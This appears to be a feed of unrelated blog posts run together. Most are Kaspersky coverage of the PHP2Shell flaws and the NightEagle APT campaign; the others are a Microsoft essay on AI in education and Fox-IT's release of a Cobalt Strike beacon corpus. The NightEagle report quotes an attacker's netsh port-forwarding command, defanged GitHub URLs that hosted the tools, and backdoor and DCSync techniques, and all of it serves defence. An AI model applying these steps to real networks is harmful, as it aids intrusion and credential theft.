Late October brought several unsettling cybersecurity stories all at once. Among these were two critical vulnerabilities in PHP, which potentially affected about 70% of websites worldwide. CVE-2026-109618 and CVE-2026-109619 — dubbed PHP2Shell — could let attackers execute code on a server remotely, without authentication.

On October 21, PHP’s developers released emergency patches for the supported PHP 8.2–8.5 branches and for the unsupported PHP 7.4, 8.0, and 8.1. Experts predicted that attacks on vulnerable servers would start within 15 minutes of the updates going public. Amazon even reported exploitation attempts four days before the patches came out. With all this in the news, some organizations sounded the alarm early. For example, in several countries, government service websites were taken offline as a precaution. Even Wikipedia’s project management and bug-tracking system suspended service.

Nearly two weeks have passed since the updates came out, but according to Censys data, of the 46 million scannable servers running a vulnerable PHP version, 29 million still contain the flaws. Right after the patches were published, we broke down each flaw in detail and explained what companies and everyday users should do. In this post we cover what’s known about the threat today, and what extra steps businesses need to take.

What happened after the PHP2Shell patches

The news about critical PHP vulnerabilities set off a flurry of reactions. Researchers noted a large number of exploitation attempts, and fresh exploits kept appearing in batches — courtesy of AI. A Palo Alto Networks unit even reported a PHP2Shell attack on a government agency in Europe, though it later retracted that statement. Solid evidence of how these vulnerabilities can actually be exploited only emerged later. On top of that, a third, unpatched one turned up.

A vulnerability with no patch

On Friday, October 23, the PHP team warned about a new vulnerability — CVE-2026-115560 — which can be used for remote code execution. But attackers can only pull this off on systems with an “unusual combination of configuration and application code”. That configuration is so exotic that the developers decided against an emergency patch, and will close the vulnerability on the regular schedule. In the meantime, they advised users to disable the session.upload_progress.enabled INI option.

First signs of PHP flaws being exploited

Let’s get back to the more serious threats. The most substantial confirmation of PHP2Shell exploitation in real-world attacks only came on October 24. Honeypot servers run by Adel Karimi of Perplexity running PHP 8.4.26 and presenting ordinary web pages recorded successful attacks from two IP addresses. The observed exploit chain was consistent with CVE-2026-109618. There’s an important caveat, though: the researcher’s honeypot ran the Apache mod_php module, which is the configuration most convenient for attackers.

Later, on October 26, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added both CVE-2026-109618 and CVE-2026-109619 to its Known Exploited Vulnerabilities (KEV) catalog. That confirmed the threat isn’t just theoretical.

Real-world breaches with PHP2Shell

On October 26, the technology company Dream reported that 25 firewalls and management servers had been compromised in the U.S., Japan, Taiwan, and South Korea. Three of them were in an environment presumed to be linked to U.S. government agencies. The attackers combined PHP2Shell with a Linux kernel vulnerability dubbed Fragnesia (CVE-2026-46300). Upon gaining full administrative control, they were able to extract the password of an LDAP service account and steal the listing of users and groups, full network configuration, and private keys.

Dream initially didn’t name the device vendor. In its October 29 update, though, the company stated that the systems were Palo Alto Networks devices running certain versions of PAN-OS. The vendor confirmed attacks on management interfaces exposed to the internet. It urged customers to close public access to those interfaces, limit it to trusted internal IP addresses, and install patches.

Why there are so few incidents

Exploits are multiplying, but no wave of breaches has materialized, and the possibility of mass compromise of PHP servers remains unconfirmed. Even in the Palo Alto case, the scale of the attack was minimal: out of about 19 000 devices found, the attackers picked just 240, which were running software versions their exploit could handle.

As it turns out, the existing PHP2Shell exploits aren’t one-size-fits-all. To exploit the vulnerabilities in a given environment, attackers have to account for the exact PHP build, memory settings, request handling, and application specifics. Still, the danger remains, so don’t neglect protective measures.

How to stay safe

The key advice stays the same: update. You can find the latest versions of the language on the PHP website. But installing patches isn’t enough. You also need to run a thorough audit of your systems and check every component that runs on PHP for signs of compromise.

Why install the second round of PHP updates?

Five days after releasing the emergency patches, the PHP developers published another round of fixes. The reason is that the updates that fixed PHP2Shell didn’t cover the CVE-2026-111497 vulnerability in Brotli, a third-party library. Exploiting this flaw can lead to code execution when PHP processes a specially crafted compressed response from an external server. The builds from October 25 include a patched version of the library. The latest PHP versions are 8.2.35-1, 8.3.36-1, 8.4.27-1, and 8.5.12-1. The first attack exploiting this vulnerability was recorded on October 26, so don’t put off installing the updates.

Threat detection

Possible signs of a PHP2Shell compromise include unusual POST requests that contain multipart/form-data media type, suspicious combinations of PHP_SESSION_UPLOAD_PROGRESS and upload parameters, atypical request sizes and request bursts, and HTTP 500 errors accompanied by PHP out-of-memory messages.

Kaspersky solutions can help you spot the threat at different stages of an attack.

• Kaspersky NEXT EDR Expert promptly alerts you to suspicious activity running in the context of Linux and Windows web servers.
• Kaspersky Anti Targeted Attack (KATA) with the NDR module check network traffic for exploitation of the flaws described above.
• Kaspersky Vulnerability Management helps you find vulnerable versions of software.
• Kaspersky Managed Detection and Response detects exploitation of CVE-2026-109618 and CVE-2026-109619 by monitoring for behavior characteristic of RCE attacks.
• Kaspersky SIEM has been updated with new rules that help detect malicious activity typical of PHP2Shell.

To learn more about how our solutions detect attempts to exploit PHP vulnerabilities, read our expert blog, Securelist.

The rapid diffusion of AI globally and the pace at which AI is developing put us at a societal crossroads. The choices we’re making now will determine who has access to AI and the opportunity it affords. There is perhaps no more important tool than our education systems for addressing the uneven diffusion of AI we’re seeing currently: national adoption runs above 70% in countries such as the United Arab Emirates and falls to low single digits across much of sub-Saharan Africa, close to a tenfold difference. 

The way we teach AI and learn with it will have long-lasting impacts on jobs, the workforce, and our broader economy. Learning Curves: Rethinking Education from Classrooms to Careers in an AI-Driven World is a collection of research-driven essays that can help guide those choices. This book brings together the body of work from the second cohort of Senior Fellows from the Microsoft AI Economy Institute (AIEI), a flagship think tank that produces research and convenes experts to generate insights into how AI is reshaping work, education, and the broader economy. 

In Learning Curves, researchers consider how AI is reshaping the earliest stages of learning and work, from K–12 classrooms and community and technical colleges to college‑to‑work transitions and entry‑level jobs, and what it will take for that transformation to widen opportunity rather than deepen divides across institutions, communities, and countries.  

Below, I share a few of my own reflections that informed my contributions to Learning Curves, a collaborative effort that wouldn’t have been possible without the truly talented, diverse cohort of researchers who contributed to this book.  

The good, the bad, and the ugly: Laying the foundation for AI in K–12 classrooms

Before delving into the specifics of how to incorporate AI in classrooms, we need to ask ourselves whether we’re teaching for knowledge, or for learning.  

The book, the calculator, the personal computer, the internet, the search engine, and the smartphone all arrived in classrooms carrying real promise alongside the worry that they would hollow out young minds. Usually the truth landed somewhere in between, and where it landed depended less on the tool than on the choices the adults made about how to use it. 

The fact is that the AI-native generation is already here, and its members are in classrooms around the world. More than half of US teenagers already use AI chatbots for schoolwork. I’ve personally seen the promise of AI as a force for good in education up close in my own classroom, where I teach a computer science class to elementary school students.  

But of course, the good is only part of the story. We can’t shy away from the downsides of incorporating AI into classrooms. While AI can help with accessibility and individualized learning, it can also create over–reliance, contribute to student cheating, or prevent students from recognizing when information may be false. 

The rapid deployment of AI in K–12 classrooms needs to come with a sober assessment of how that technology impacts all students. This assessment must go beyond the technology itself to encompass how students, teachers, parents, and society use AI.   

AI literacy is only part of the solution

If classrooms are where students learn how to think, teachers are the conduit through which this learning happens. In Learning Curves, Joseph Orero, Senior Researcher in AI at Strathmore University’s School of Computing and Engineering Science, posits that teachers aren’t resistant to AI in classrooms; they just need proper training to help them adequately adapt and teach their students critical skills. His research contribution explores game-based learning with AI-enabled African languages. 

AI usage and adoption worldwide are also dependent on accessibility. Another chapter of the book looks at barriers and opportunities in Arabic education and finds that the primary barrier teachers encountered when introducing AI writing assistants into classrooms was Arabic digital literacy, particularly students’ typing ability.  

Researchers often circled around a similar theme: there is no one-size-fits-all approach to developing AI competency; instead, such an approach must be sensitive to local knowledge and contextualized teaching and learning practices. This means that teachers, in turn, must have training that makes sense for the unique contexts in which their students are learning.  

Frank Nagle, now Microsoft’s Chief AI Economist, Sarah Rodriguez, Associate Professor of Engineering Education at Virginia Tech, and other researchers in Learning Curves make the case that, in many ways, nontraditional pathways such as apprenticeships and two-year-degree programs, particularly those that are virtual, are more nimble and thus better able to adapt their curricula to the rapidly changing field of AI.  

AI Is taught in the classroom, but then what?

Education has never been about simply preparing people for the future of work so they can thrive in the labor market. When considered holistically, it is about teaching students not what to think but how to think. In our AI era, education is one of the core institutions through which the future of work will be built, distributed, and made more (or less) equitable. Successful AI integration remains human-centered by focusing on organizational change, durable human skills like empathy and judgment, strong employer partnerships, and learner needs. 

As research from Laura Nuriski, Head of Program on the Future of Work at the Centre for European Policy Studies (CEPS), highlights, access to AI alone does not ensure successful integration. Technology transfer, data infrastructure, organizational readiness, and a human-centered approach to building and deploying AI are also key indicators of success.  

Whether we’re talking about the classroom or the boardroom, it’s worth keeping in mind that AI tends to do the most good when it strengthens human capability and the most harm when it substitutes for it. That holds as true in a fourth- grade reading lesson as in a software team or a hospital ward. 

The children in our schools deserve tools that serve their learning rather than stand in for it, and that is within our power to provide. Our most successful future with AI will be one that is human-centered, inclusive, and designed to help people thrive. 

The post Learning Curves: The future of education, from classrooms to careers, in an AI-driven world appeared first on Microsoft On the Issues.

Yesterday, two critical vulnerabilities were disclosed in PHP, the scripting language used by many websites and online services: CVE-2026-109618 and CVE-2026-109619. Attackers can exploit them to remotely execute commands on any server running PHP, with no authentication required. The exploit has been dubbed PHP2Shell.

The PHP security team announced an upcoming emergency update on October 20 and released patches fixing the vulnerabilities the following day.

We’ve already covered the technical details of these vulnerabilities and explained what companies and server administrators should do. You may have safely skipped that news because you don’t run any servers — but unfortunately, the issue is not limited to businesses.

Nearly 70% of websites run on PHP, including services we use every day: wikis, online stores, smart devices with web interfaces, home network-attached storage (NAS), smart-home controllers, and much more.

Today, we explain how these vulnerabilities could affect you personally and what you can do to reduce the risks.

How the vulnerabilities can affect home users

Account and personal-data theft

The vulnerability allows an attacker to steal authentication tokens from server memory. These tokens essentially act like electronic passes — telling a website that the user has already signed in. As a result, an attacker may be able to access someone else’s account without entering a password or two-factor authentication code, putting messages, documents, delivery addresses, order histories, and other confidential information at risk.

Loss of files on home devices

If you have network-attached storage (NAS) or a video surveillance system at home that uses a vulnerable PHP version, it may also be at risk. Depending on what level of access they gain, attackers could potentially copy, delete or encrypt files they can access.

Malware infection

If an attacker gains access to a vulnerable website, they can use it in virtually any way they want: trick visitors into downloading a malicious file or clicking on a phishing link, display dangerous instructions, replace payment forms or login pages with malicious ones — the list goes on and on. As a result, someone visiting a legitimate website could not only lose access to their account, but also lose money or accidentally infect their device with malware.

Below are examples of services directly affected by the vulnerabilities.

Which services are affected by the PHP vulnerabilities

Jeedom

Jeedom is a smart-home platform that lets users control lighting, sensors, heating, blinds and home IoT devices. Attackers could abuse this in many ways: they could disable the alarm, track when the homeowner is away, access video from the door intercom, and more.

The developers confirmed that the new vulnerability affects their application, and have already released an emergency update — Jeedom 4.6.2. Users need to run the update twice for it to work. The developers say a fully fixed version for home users will be released in the coming days.

Websites we use every day

As mentioned above, PHP is used by roughly 70% of websites. This doesn’t mean every one of them is vulnerable: it depends on the PHP version in use and whether the site owners have already updated it. Many government websites in Europe have already suspended operations because of the new vulnerability.

Unfortunately, a website may still be vulnerable even if it appears to be working normally. An attacker could potentially take control of any legitimate website whose server hasn’t been patched yet. They could fake payment or login pages, host malicious files, or persuade users to download an “urgent update” that is actually malware.

Ordinary users have no reliable way to check whether such instructions or files are safe, so be sure to use reliable anti-phishing and antivirus protection. If you suspect that your data may have been stolen, check the active sessions in your account settings. If you spot suspicious activity or devices you don’t recognize, sign out of all active sessions and change your password. Use a password manager — it can generate a truly strong, unique password that you won’t have to memorize yourself.

Computer games

Bad news for gamers: some video games whose servers use PHP are also at risk. If you don’t want attackers to get hold of your accounts, be sure to update the passwords for your gaming platforms, stores and accounts.

To buy time for updates, some developers temporarily took their services offline. Final Fantasy XIV, Pokemon Champions, games from Bandai Namco Entertainment, Uma Musume: Pretty Derby, Granblue Fantasy, Shadowverse: Worlds Beyond, and many others went into emergency maintenance. Nintendo Switch Online and the GOG and Steam stores were also affected.

Unfortunately, there’ve also been more drastic consequences. Yesterday, the developers of World Quest announced that the game would shut down permanently after 15 years: it relied on outdated infrastructure that would have been extremely difficult and costly to fix. For the same reason, the mobile game Please Save My Pandemonium! shut down after more than ten years of operation.

Home network-attached storage (NAS)

“Home clouds” have become popular in recent years for good reason: many users prefer to keep backups of their data at home rather than online. A number of companies make NAS devices, and at least three — QNAP, Synology and ASUSTOR — have said the vulnerabilities affect their products. An update has also been released for Unraid, an operating system for home servers, network storage and media servers.

QNAP

The manufacturer confirmed that the vulnerabilities affect several versions of its NAS operating systems — QTS and QuTS hero — as well as applications including QuMagie, Note Station 3 and certain versions of QVR Surveillance. A successful attack could put photos, documents, notes and camera recordings at risk.

At the time of publication of this blogpost, QNAP is still preparing updates, so the main priority is to temporarily disconnect NAS from the internet. QNAP recommends disabling port forwarding on the router — to prevent NAS from automatically opening ports — and allowing access to the management panel only from the home network or through a VPN.

Synology

Both vulnerabilities have been officially confirmed in PHP packages 7.3, 7.4, and 8.0–8.4, as well as in Mail Station and Synology Calendar. Fixes have already been released for PHP, starting from version 7.4, as well as for Mail Station and Synology Calendar. PHP 7.3 won’t be fixed. The company separately notes that the PHP component built into its operating system cannot be reached from outside the device, so the risk of attack is very low.

ASUSTOR

ASUSTOR also officially confirmed both vulnerabilities, and immediately removed PHP 7, 7.3, 7.4, and 8.1 packages from App Central. The company recommends immediately backing up your data, removing older PHP packages, and using PHP 8.3 or 8.4.

Unraid

In today’s operating-system update, PHP was upgraded to version 8.4.27 with fixes for the vulnerabilities. The developers recommend that all users update to Unraid 7.3.4. Containers with their own PHP installation must be updated separately: the new PHP version in the operating system doesn’t replace PHP inside containers.

At the time of publication, we haven’t found public confirmation from other major manufacturers (such as TerraMaster, UGREEN, Buffalo, or Western Digital) that their devices are affected by these vulnerabilities — only user discussions on forums.

But the fact that only some NAS manufacturers have confirmed the problem so far doesn’t guarantee that your devices are safe — especially if they’re fairly old or come from a lesser-known or defunct manufacturer. In that case, first disconnect the devices from the internet while keeping them accessible only on the local network, and then investigate whether they’re vulnerable.

Nextcloud cloud storage

Nextcloud is a free, open-source platform for creating your own cloud storage, serving as an alternative to Google Drive, Dropbox, and Microsoft OneDrive. It lets you store and synchronize files across devices, share them with other users, and work with documents, photos, calendars and contacts. The data can be stored on your own server or NAS rather than on a third-party company’s servers.

If you store important data in Nextcloud, check how your cloud instance is configured. If you use Nextcloud All-in-One, update to version 14.4.1 where the vulnerability has already been fixed.

If your Nextcloud installation is configured differently, you need to update PHP yourself on the device or server.

How to protect your devices and data

• Use phishing and malware protection. Our security solution automatically blocks phishing pages and malware, even when attackers place them on legitimate websites.
• Keep an eye on updates. If you have network-attached storage, a smart-home system, a home server, a media server, or any other device with a web interface, first check the manufacturer’s website and install all available updates. If no update is available yet, temporarily disable internet access to the device.
• Use strong passwords. Most people reuse the same password, or variations of it, across multiple websites. If an attacker finds one of those passwords on a vulnerable server, they may be able to compromise your other accounts as well. We recommend generating and storing strong, unique passwords in Kaspersky Password Manager so you don’t have to remember your credentials yourself. Be sure to enable two-factor authentication on all important accounts — ideally using one-time codes generated by the same password manager.
• Keep an offline backup of important files. Don’t rely on cloud storage alone — make sure you keep a backup of all important documents on both a hard drive and an external device. For more information on how to make backups properly, see our article The internet remembers not quite everything.

What other risks can your home devices face? Read our articles:

• Trojan TV, or the new risks of malicious proxies
• Ransomware now taking aim at personal backups
• Is your TV box renting out your network?
• Is your router secretly working for foreign intelligence?
• Three common attacks on Linux in homes
• How to secure your smart home

Two critical vulnerabilities have been discovered in the popular PHP programming language. The vulnerabilities, identified as CVE-2026-109618 and CVE-2026-109619, allow attackers to remotely execute code on a server running PHP without authentication. The language’s development team has released updates for all supported branches, but the first attempts to exploit the vulnerabilities were observed even before the patches were published. The exploit has been named PHP2Shell.

The architectures of popular marketplaces, e-commerce platforms, and learning management systems (LMS) are written in PHP. In addition, PHP is used in various content management systems (CMS) such as WordPress, Drupal, Joomla, and so on, which power most websites on the internet.

In this blogpost, we discuss CVE-2026-109618 and CVE-2026-109619 in detail, and explain how companies can protect their infrastructure. Read the Securelist expert blog to learn how events surrounding these vulnerabilities unfolded before the patch was released.

Vulnerable PHP versions

According to PHP web site, versions prior to 8.2.35, 8.3.36, 8.4.27, and 8.5.12 are vulnerable to CVE-2026-109618 and CVE-2026-109619. There are no official fixes for older branches. According to unofficial reports, the vulnerabilities also affect PHP versions starting with 5.4.0.

What makes CVE-2026-109618 and CVE-2026-109619 dangerous

Both vulnerabilities received a score of 9.2 on the CVSS v4.0 scale. They arise because, after a request is interrupted (for example, due to a memory shortage), PHP leaves invalid data in the memory buffer, and subsequently accesses it, allowing code to be executed on the server. One of the confirmed attack chains via CVE-2026-109619 exploits the `session.upload_progress` mechanism (which tracks file upload progress), which is enabled by default in PHP.

By exploiting these vulnerabilities, attackers can remotely execute code on the server with web server process privileges without authentication.

According to PHP developers, all installations of unpatched versions that process web requests are at risk, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed. The greatest risk lies with mod_php: researchers demonstrated an exploit for it in which an unauthenticated request triggers the attack even before the application code is executed.

What businesses should do

We’ve compiled key recommendations from the PHP developers and experts at Kaspersky.

• Update PHP to versions 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Start with systems accessible from the internet. The source code is available on the PHP website. If PHP is installed from distribution packages or provided by your hosting provider, check for updated packages: Linux distributions and LTS vendors received patches in advance. If the server is managed by a hosting provider, ask them to apply the update.
• Versions 8.1 and older no longer receive updates from the PHP project. Check with your distribution vendor or LTS support provider to see if backported fixes are available, or switch to a supported branch. For PHP 7.4, 8.0, and 8.1, the developers have prepared minimal source code backports for manual compilation. These can also be found on the PHP website.
• Restart PHP-FPM or the web server so that the processes load the new code, and verify the version using the `php -v` command. If PHP was installed from distribution packages, check the package changelog: the version number may remain the same.
• Check the logs from October 20. A warning sign is when the web server process is performing actions it shouldn’t (running command shells, curl, wget, and the like). Kaspersky solutions help detect malicious activity in a timely manner. Attempts to exploit the described RCE vulnerabilities on Linux and Windows machines can be detected using Kaspersky NEXT EDR Expert, while exploitation of PHP2Shell in network traffic is detected by Kaspersky Anti Targeted Attack (KATA) with the NDR module.

If an immediate update is not possible

Only the immediate installation of patches will fully resolve the issue, but if that isn’t possible, it’s recommended to implement temporary measures. PHP developers provide step-by-step instructions for each vulnerability.

Authors: Yun Zheng Hu

Introduction

Today Fox-IT is publicly releasing its full Cobalt Strike Beacon Corpus, containing 56,843 raw beacons and their parsed configurations, from 190,182 sightings collected from 30,604 unique IP addresses running a Team Server (the Cobalt Strike command-and-control server that beacons connect back to) between 4 July 2018 and 29 September 2026, over eight years of beacon data. The corpus is available on Hugging Face: https://huggingface.co/datasets/fox-srt/cobaltstrike-beacon-corpus

Back in March 2022 we published Mining Data from Cobalt Strike Beacons. That post covered 128,340 beacon sightings collected from July 2018 to February 2022, and it introduced our Python project dissect.cobaltstrike for parsing them.

Since then, public scanning for Team Servers has become routine, and Cobalt Strike has shipped versions 4.6 through 4.13. Researchers have regularly asked us for an updated dataset. And here it is, a large, consistent, long-running dataset for the infosec community to build on. The corpus includes the raw beacon payloads, not just our parsed output, so anyone can reproduce our results or improve on them.

We also see publishing this corpus as an act of preservation. C2 infrastructure is short-lived, as the median Team Server is reachable for just 14 days, and the beacons it serves vanish with it. Eight years of collection captures things that can no longer be observed today, like the waves of cracked 4.0 builds or the adoption of leaked versions. By publishing the raw beacons alongside the parsed data, we keep that record available for anyone to study, long after the servers themselves are gone.

What’s in the corpus

The corpus is published on Hugging Face as two Parquet files:

All beacons were downloaded directly from internet-facing Team Servers, mostly on TCP ports 80 and 443 (HTTP and HTTPS) and UDP port 53 (DNS), with a small number on other ports. We deliberately didn’t include samples from other sources such as VirusTotal, so the corpus reflects the Cobalt Strike landscape as it was visible on the internet.

How we collected it

The collection method matches our 2022 post. We fingerprint likely Team Servers on the internet, then request a beacon payload from each one using a URI that passes Cobalt Strike’s checksum8 check. Every beacon that comes back is parsed with dissect.cobaltstrike, which decodes the configuration block. The result is stored as a sighting.

• Discovery: candidate hosts from our own internet-wide scanning. As in 2022, we’re keeping our fingerprints private so they stay effective; writing your own is left as an exercise for the reader.
• Download: x86 beacons over HTTP(S) and DNS.
• DNS: for DNS listeners we’re not publishing that fingerprint either, but it’s not rocket science. The beacon is fetched as a series of TXT record lookups sent over UDP port 53 directly to the Team Server’s DNS listener.
• Parse: Use dissect.cobaltstrike to parse the beacon and export the configuration
• Enrich: TLS certificate data captured at collection time (where available) and GeoIP/ASN via historical GeoIP databases.

Note that there might be some small gaps in the collection due to automation issues that we did not catch in time.

Getting started

Most research only needs the beacons.parquet dataset. The payloads.parquet dataset containing raw beacon payloads is only required if you want to re-parse the beacons or look into the ones that failed parsing.

I’m a big fan of DuckDB (and SQLite), and over time I’ve become fond of SQL for querying data as well. DuckDB is very fast, and AI assistants are very good at writing SQL queries. These days, that beats hand-writing pandas code and the matching matplotlib charts. That’s why I recommend exploring the data with DuckDB, for example in a Jupyter notebook.

An example of using DuckDB to query the dataset on Hugging Face directly:

SELECT watermark,
       count(*)                          AS sightings,
       count(DISTINCT collected_from_ip) AS servers,
       min(collected_on)                 AS first_seen,
       max(collected_on)                 AS last_seen
FROM 'hf://datasets/fox-srt/cobaltstrike-beacon-corpus/data/beacons.parquet'
GROUP BY watermark
ORDER BY sightings DESC
LIMIT 20;

Take a look at our Jupyter notebook in the Hugging Face repository as a starting point. It contains every query and chart from the sections below, so you can rerun them or adapt them to your own research questions.

A first look at the data

Here are a few quick results to show what the corpus can answer. They’re a starting point, not a full analysis. As with our 2022 post, we invite researchers to explore the data; see also “Research ideas” below.

Old versions never die

Each Cobalt Strike release takes over from the last, but old versions linger. Cobalt Strike 4.0 dominated most of 2020, 4.1–4.2 drove the early 2021 peak of about 3,000 beacons a month, 4.3–4.4 led from mid-2021 through 2022, and 4.5–4.8 took over in 2023. Since 2024, 4.9 and 4.5–4.8 have shared the lead, while 4.10+ remains a small share. Volume has since dropped to around 200 beacons a month, partly because fewer servers stage their beacon, which brings us to the next graph.

No beacon for you

Our collection relies on beacon staging, meaning a Team Server can serve its beacon as a downloadable payload to anyone who requests the right URI or DNS record. Operators can turn this off (the host_stage option in the Malleable C2 profile), and disabling it is common OPSEC advice. To measure how much this affects our beacon collection, we counted two numbers per month:

1. The unique Team Servers (ip:port) confirmed by our high-confidence HTTP fingerprint
2. The unique Team Servers (ip:port) that handed out a beacon over HTTP(S)

These are monthly totals, not a server-by-server match. On average, the Team Servers that handed out a beacon were only about 32% of those we fingerprinted, and that share has drifted down from around 40% in 2023 to 20–25% in 2026. In other words, because not every server hands out a beacon, the corpus shows only part of the Cobalt Strike landscape, and that part is getting smaller. Disabled beacon staging is the most likely reason, but not the only one. Servers can go offline between fingerprinting and download or block our scanners, and our fingerprint doesn’t catch every Team Server.

The dashed sections mark months when beacon collection wasn’t running, because of an automation error that went unnoticed for a while.

The short life of a Cobalt Strike Team Server

The median Team Server was reachable for 14 days. 35% were seen on a single day only, just 14% were still serving a beacon after three months, and only 2% after a year.

We identify a Team Server by its public key and C2 domains from the beacon configuration (or its IP address when the configuration contains no domains), so a server that moves to a new IP is still counted once. This allows us to measure how long a Team Server typically stays online. Identifying servers by public key alone or by ip:port gives almost the same result, a median lifetime of 14–15 days. These are first-to-last-sighting spans, so a server may have been online before our first and after our last sighting. Servers still active in the last 30 days are left out.

It’s always DNS

Most public scanning focuses only on HTTP(S) beacons, but we’ve also collected DNS beacons since 2020 (apart from the months when our automation broke). DNS beacons have declined much less steeply than HTTP(S) ones, perhaps because they get far less attention in public research and OPSEC advice, so fewer operators think to lock them down. After a peak in 2022, they have mostly hovered around 100 a month since 2024, with a median of 120 over the whole period.

Parse me if you can

The corpus also includes 128 unique beacons (0.23%) that we downloaded but couldn’t parse. Note that the corpus doesn’t contain HTML pages or other responses that were unlikely to be a beacon. We excluded those before publishing. At first glance, most are beacons with custom modifications that dissect.cobaltstrike can’t parse yet. And some payloads from the early years aren’t Cobalt Strike at all, but Metasploit Meterpreter payloads. We’ve deliberately left them in for researchers to analyse. You can find all unparsed beacons with: WHERE config_json IS NULL

The unparsed count used to be higher, but we managed to bring that down. We noticed some operators customised their beacon configs, for example by shuffling the order of the configuration settings or changing their type values, which broke our parser (and probably most others). The corpus helped us find these cases, so we made the config scanning of dissect.cobaltstrike independent of layout and added many other features and fixes along the way. See the dissect.cobaltstrike v1.3.0 release notes.

Research ideas

Some other research questions that could be answered using the corpus:

• Clustering: Group operators by config features (watermark, SPAWNTO/PROCINJ hash, C2 profile, certificate, sleep/jitter, specific beacon modifications)
• Classification: Separate red team from criminal infrastructure. Build and publish labelled subsets.
• Infrastructure: Top hosting providers that are hosting a Cobalt Strike Team Server.
• Certificates: Pivot on x509 reuse across servers and time or find how many are running the default Cobalt Strike keystore certificate.
• Benchmarks: Use the corpus as a shared test set for config extractors and ML models.
• Parser failures: 128 beacons can’t be parsed by dissect.cobaltstrike. Figure out why.

Over to you

Eight years of Cobalt Strike beacons are now one download away on Hugging Face. Run your own queries, pick up one of the research ideas above or come up with your own, dig into the beacons we couldn’t parse, and share what you find.

Before you start, read the Limitations section on the dataset card. The raw payloads are real Cobalt Strike beacons, so handle them like any other malware sample.

Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.

Initial access

In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.

GhostContainer on Microsoft Exchange

Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.

We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.

The backdoor is a .NET assembly containing three classes that implement its core functionality:

• Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
• App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
• App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.

Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.

GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis

Traffic redirection

Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.

The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:

• https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/js-webpack.zip
• https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/jsonp-pack.zip
• https://github[.]com/browserthemes/resourcepack/releases/download/main/resource-pack.zip

One of the repositories used for storing network tools

The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:

• adobe_32.exe;
• AdobeSync.exe;
• trueconf.exe;
• 1cbroker.exe;
• 1c-office-plugin.exe;
• trueconf-broker.exe.

Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.

1. Microsoft dev tunnels
   This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
   

   Execution graph of adobe_32.exe in Kaspersky Research Sandbox

2. rdp2tcp
   This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.

   When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.

   When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.

   

   Creation event for a channel named rdp2tcp (server component startup)

The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.

The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.12.101 connectport=445

Lateral movement

To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.

In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.

Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit

The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.

Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.

Takeaways

To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.

Detection by Kaspersky solutions

